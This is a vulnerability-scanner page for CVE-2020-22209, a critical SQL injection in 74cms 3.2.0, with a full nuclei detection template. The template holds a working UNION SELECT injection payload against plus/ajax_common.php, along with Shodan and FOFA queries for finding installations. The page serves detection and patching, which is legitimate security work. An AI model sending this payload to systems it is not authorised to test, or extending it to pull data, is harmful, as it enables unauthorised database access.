74cms - ajax_common.php SQL Injection

criticalseverity

9.8CVSS score

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file.

How to confirm it

Send: GET {{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2020-22209 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-22209

info:
  name: 74cms - ajax_common.php SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file.
  reference:
    - https://github.com/blindkey/cve_like/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22209
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22209
    cwe-id: CWE-89
    epss-score: 0.08579
    epss-percentile: 0.95118
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli,vuln,vkev
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from